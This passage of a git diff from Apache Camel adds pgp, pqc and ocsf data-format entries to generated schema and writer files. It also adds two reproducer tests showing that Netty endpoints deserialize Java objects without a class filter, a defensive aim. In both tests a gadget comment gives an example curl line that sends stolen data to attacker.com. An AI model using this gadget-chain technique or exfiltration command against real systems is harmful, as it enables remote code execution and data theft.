bits) of the symmetric key. Default value: 128 +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="keyPair" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Refers to the KeyPair to lookup from the register to use for KEM operations. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="bufferSize" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The size of the buffer used for streaming encryption/decryption. Default value: 4096 +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="provider" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The JCE security provider to use. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="keyGenerator" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Refers to a custom KeyGenerator to lookup from the register for KEM operations. ]]> </xs:documentation> </xs:annotation> @@ -9469,230 +9693,6 @@ Default value: true <xs:documentation xml:lang="en"> <![CDATA[ Refers to a Map XML Namespaces of prefix - uri mappings. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - </xs:extension> - </xs:complexContent> - </xs:complexType> - <xs:complexType name="pgpDataFormat"> - <xs:complexContent> - <xs:extension base="tns:dataFormat"> - <xs:sequence/> - <xs:attribute name="keyUserid" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The user ID of the key in the PGP keyring used during encryption. Can also be only a part of a user ID. For example, if -the user ID is Test User then you can use the part Test User or to address the user ID. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureKeyUserid" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -User ID of the key in the PGP keyring used for signing (during encryption) or signature verification (during -decryption). During the signature verification process the specified User ID restricts the public keys from the public -keyring which can be used for the verification. If no User ID is specified for the signature verficiation then any -public key in the public keyring can be used for the verification. Can also be only a part of a user ID. For example, if -the user ID is Test User then you can use the part Test User or to address the User ID. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="password" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Password used when opening the private key (not used for encryption). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signaturePassword" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Password used when opening the private key used for signing (during encryption). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="keyFileName" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Filename of the keyring; must be accessible as a classpath resource (but you can specify a location in the file system -by using the file: prefix). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureKeyFileName" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Filename of the keyring to use for signing (during encryption) or for signature verification (during decryption); must -be accessible as a classpath resource (but you can specify a location in the file system by using the file: prefix). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureKeyRing" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Keyring used for signing/verifying as byte array. You can not set the signatureKeyFileName and signatureKeyRing at the -same time. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="armored" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -This option will cause PGP to base64 encode the encrypted text, making it available for copy/paste, etc. Default value: -false -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="integrity" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Adds an integrity check/sign into the encryption file. The default value is true. Default value: true -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="provider" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC). Alternatively you can use, for example, the -IAIK JCE provider; in this case the provider must be registered beforehand and the Bouncy Castle provider must not be -registered beforehand. The Sun JCE provider does not work. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="algorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Symmetric key encryption algorithm; possible values are defined in org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for -example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (= AES_128). Only relevant for encrypting. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="compressionAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Compression algorithm; possible values are defined in org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (= -UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for encrypting. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="hashAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Signature hash algorithm; possible values are defined in org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (= -SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant for signing. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureVerificationOption" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Controls the behavior for verifying the signature during unmarshaling. There are 4 values possible: optional: The PGP -message may or may not contain signatures; if it does contain signatures, then a signature verification is executed. -required: The PGP message must contain at least one signature; if this is not the case an exception (PGPException) is -thrown. A signature verification is executed. ignore: Contained signatures in the PGP message are ignored; no signature -verification is executed. no_signature_allowed: The PGP message must not contain a signature; otherwise an exception -(PGPException) is thrown. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - </xs:extension> - </xs:complexContent> - </xs:complexType> - <xs:complexType name="pqcDataFormat"> - <xs:complexContent> - <xs:extension base="tns:dataFormat"> - <xs:sequence/> - <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The Post-Quantum KEM algorithm to use for key encapsulation. Supported values: MLKEM, BIKE, HQC, CMCE, SABER, FRODO, -NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="symmetricKeyAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The symmetric encryption algorithm to use with the shared secret. Supported values: AES, ARIA, RC2, RC5, CAMELLIA, -CAST5, CAST6, CHACHA7539, etc. Default value: AES -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="symmetricKeyLength" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The length (in bits) of the symmetric key. Default value: 128 -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="keyPair" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Refers to the KeyPair to lookup from the register to use for KEM operations. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="bufferSize" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The size of the buffer used for streaming encryption/decryption. Default value: 4096 -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="provider" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The JCE security provider to use. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="keyGenerator" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Refers to a custom KeyGenerator to lookup from the register for KEM operations. ]]> </xs:documentation> </xs:annotation> @@ -13811,6 +13811,8 @@ To type used as a target data type in the transformation. <xs:element ref="tns:mimeMultipart"/> <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> + <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -13824,8 +13826,6 @@ To type used as a target data type in the transformation. <xs:element ref="tns:univocityFixed"/> <xs:element ref="tns:univocityTsv"/> <xs:element ref="tns:xmlSecurity"/> - <xs:element ref="tns:pgp"/> - <xs:element ref="tns:pqc"/> <xs:element ref="tns:yaml"/> <xs:element ref="tns:zipDeflater"/> <xs:element ref="tns:zipFile"/> @@ -16087,8 +16087,10 @@ Set a reference to a custom Expression to use. <xs:element ref="tns:jsonApi"/> <xs:element ref="tns:lzf"/> <xs:element ref="tns:mimeMultipart"/> + <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -16990,7 +16992,10 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be <xs:element ref="tns:jsonApi"/> <xs:element ref="tns:lzf"/> <xs:element ref="tns:mimeMultipart"/> + <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> + <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -17004,7 +17009,6 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be <xs:element ref="tns:univocityFixed"/> <xs:element ref="tns:univocityTsv"/> <xs:element ref="tns:xmlSecurity"/> - <xs:element ref="tns:pgp"/> <xs:element ref="tns:yaml"/> <xs:element ref="tns:zipDeflater"/> <xs:element ref="tns:zipFile"/> diff --git a/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java b/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java new file mode 100644 index 000000000000..0cccc34a559b --- /dev/null +++ b/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java @@ -0,0 +1,126 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.camel.component.netty.http; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; + +import org.apache.camel.CamelExecutionException; +import org.apache.camel.Exchange; +import org.apache.camel.builder.RouteBuilder; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Reproducer demonstrating that camel-netty-http deserializes HTTP response bodies without ObjectInputFilter when + * {@code transferException=true}. + * + * <p> + * <b>Attack scenario:</b> A malicious or compromised upstream server responds with HTTP 500, Content-Type + * {@code application/x-java-serialized-object}, and a crafted serialized payload. The Camel client-side producer + * deserializes it via {@link NettyHttpHelper#deserializeJavaObjectFromStream} without any class filtering, allowing + * arbitrary code execution through gadget chains. + * </p> + * + * <p> + * This test sets up a "malicious server" endpoint that returns a serialized {@link SimulatedGadget} (a non-Exception + * class) in the HTTP response. The client calls it with {@code transferException=true}, and the gadget's + * {@code readObject()} executes during deserialization. + * </p> + */ +public class NettyHttpUnfilteredDeserializationReproducerTest extends BaseNettyTestSupport { + + @BeforeEach + void resetGadget() { + SimulatedGadget.executed = false; + } + + @Test + public void testMaliciousServerCanTriggerArbitraryDeserialization() { + // The client calls a "malicious server" with transferException=true. + // The server responds with HTTP 500 + Content-Type: application/x-java-serialized-object + // containing a serialized SimulatedGadget (NOT an Exception). + // + // NettyHttpHelper.deserializeJavaObjectFromStream() deserializes it without + // any ObjectInputFilter, so SimulatedGadget.readObject() runs on the client. + + assertThrows(CamelExecutionException.class, + () -> template.requestBody( + "netty-http:http://localhost:{{port}}/malicious?transferException=true", + "Hello World", String.class)); + + assertTrue(SimulatedGadget.executed, + "SimulatedGadget.readObject() was called on the CLIENT side during deserialization " + + "of the server's HTTP response. A malicious server can exploit this for RCE. " + + "An ObjectInputFilter should restrict deserialization to Exception subclasses only."); + } + + @Override + protected RouteBuilder createRouteBuilder() { + return new RouteBuilder() { + @Override + public void configure() { + // Simulates a malicious server that responds with a crafted serialized + // payload instead of a legitimate serialized Exception. + from("netty-http:http://0.0.0.0:{{port}}/malicious?transferException=true") + .process(exchange -> { + // Serialize a non-Exception gadget object + SimulatedGadget gadget = new SimulatedGadget(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { + oos.writeObject(gadget); + } + + // Return it as the response body with the serialized-object content type + // and HTTP 500 to trigger the transferException deserialization path + exchange.getMessage().setBody(baos.toByteArray()); + exchange.getMessage().setHeader(Exchange.CONTENT_TYPE, + NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT); + exchange.getMessage().setHeader(Exchange.HTTP_RESPONSE_CODE, 500); + }); + } + }; + } + + /** + * Simulates a deserialization gadget. In a real attack this would be a class from a library on the classpath (e.g., + * commons-collections InvokerTransformer) that chains to {@code Runtime.getRuntime().exec("malicious command")}. + * + * <p> + * Note that this is NOT an Exception subclass. The fact that it gets deserialized proves that + * {@link NettyHttpHelper#deserializeJavaObjectFromStream} accepts any Serializable class, not just Exceptions. + * </p> + */ + public static class SimulatedGadget implements Serializable { + private static final long serialVersionUID = 1L; + + static volatile boolean executed; + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); + // In a real gadget chain this would be: + // Runtime.getRuntime().exec("curl http://attacker.com/steal?data=..."); + executed = true; + } + } +} diff --git a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java new file mode 100644 index 000000000000..2ec3fdafba43 --- /dev/null +++ b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java @@ -0,0 +1,123 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.camel.component.netty; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +import io.netty.channel.ChannelHandler; +import io.netty.handler.codec.serialization.ClassResolvers; +import org.apache.camel.BindToRegistry; +import org.apache.camel.builder.RouteBuilder; +import org.apache.camel.component.netty.codec.ObjectDecoder; +import org.apache.camel.component.netty.codec.ObjectEncoder; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Reproducer demonstrating that camel-netty TCP endpoints using ObjectDecoder perform unrestricted Java deserialization + * without ObjectInputFilter. + * + * <p> + * When ObjectDecoder is configured, ANY Serializable class sent over the wire is deserialized, including its + * {@code readObject()} method. An attacker can exploit this to achieve remote code execution via known gadget chains + * (e.g., Commons Collections, Spring, etc.). + * </p> + * + * <p> + * This test uses a {@link SimulatedGadget} that sets a static flag in its {@code readObject()} to prove arbitrary code + * execution during deserialization. In a real attack, this would chain to {@code Runtime.getRuntime().exec()}. + * </p> + */ +public class NettyUnfilteredDeserializationReproducerTest extends BaseNettyTest { + + @BindToRegistry("encoder") + public ChannelHandler getEncoder() { + return new ShareableChannelHandlerFactory(new ObjectEncoder()); + } + + @BindToRegistry("decoder") + public ChannelHandler getDecoder() { + return new DefaultChannelHandlerFactory() { + @Override + public ChannelHandler newChannelHandler() { + return new ObjectDecoder(ClassResolvers.weakCachingResolver(null)); + } + }; + } + + @BeforeEach + void resetGadget() { + SimulatedGadget.executed = false; + } + + @Test + public void testUnfilteredDeserializationAllowsArbitraryCodeExecution() { + // An attacker sends a crafted Serializable object to the netty TCP endpoint. + // The ObjectDecoder deserializes it without any ObjectInputFilter, + // so SimulatedGadget.readObject() executes arbitrary code. + SimulatedGadget gadget = new SimulatedGadget(); + + template.requestBody( + "netty:tcp://localhost:{{port}}?sync=true&encoders=#encoder&decoders=#decoder", + gadget, Object.class); + + assertTrue(SimulatedGadget.executed, + "SimulatedGadget.readObject() was called during deserialization, " + + "proving unrestricted deserialization allows arbitrary code execution. " + + "An ObjectInputFilter should reject unknown classes."); + } + + @Override + protected RouteBuilder createRouteBuilder() { + return new RouteBuilder() { + @Override + public void configure() { + from("netty:tcp://localhost:{{port}}?sync=true&decoders=#decoder&encoders=#encoder") + .process(exchange -> { + Object body = exchange.getIn().getBody(); + exchange.getMessage().setBody("received: " + body.getClass().getName()); + }); + } + }; + } + + /** + * Simulates a deserialization gadget. In a real attack this would be a class from a library on the classpath (e.g., + * commons-collections InvokerTransformer) that chains to {@code Runtime.getRuntime().exec("malicious command")}. + * + * <p> + * Here we simply set a static flag to prove that {@code readObject()} runs during deserialization -- i.e., + * arbitrary code execution is possible. + * </p> + */ + public static class SimulatedGadget implements Serializable { + private static final long serialVersionUID = 1L; + + static volatile boolean executed; + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); + // In a real gadget chain this would be: + // Runtime.getRuntime().exec("curl http://attacker.com/steal?data=..."); + executed = true; + } + } +} diff --git a/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java b/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java index f5df0ebbdc2c..3694b0e391f5 100644 --- a/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java +++ b/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java @@ -1241,6 +1241,8 @@ public class ModelWriter extends BaseWriter { case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -1254,8 +1256,6 @@ public class ModelWriter extends BaseWriter { case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -2006,6 +2006,8 @@ public class ModelWriter extends BaseWriter { case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -2019,8 +2021,6 @@ public class ModelWriter extends BaseWriter { case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -2570,8 +2570,10 @@ public class ModelWriter extends BaseWriter { case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3740,7 +3742,10 @@ public class ModelWriter extends BaseWriter { case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3754,7 +3759,6 @@ public class ModelWriter extends BaseWriter { case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); diff --git a/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java b/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java index c0c5cea6c2ad..bfe9b4979e8c 100644 --- a/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java +++ b/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java @@ -1241,6 +1241,8 @@ public class ModelWriter extends BaseWriter { case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -1254,8 +1256,6 @@ public class ModelWriter extends BaseWriter { case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -2006,6 +2006,8 @@ public class ModelWriter extends BaseWriter { case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -2019,8 +2021,6 @@ public class ModelWriter extends BaseWriter { case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -2570,8 +2570,10 @@ public class ModelWriter extends BaseWriter { case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> 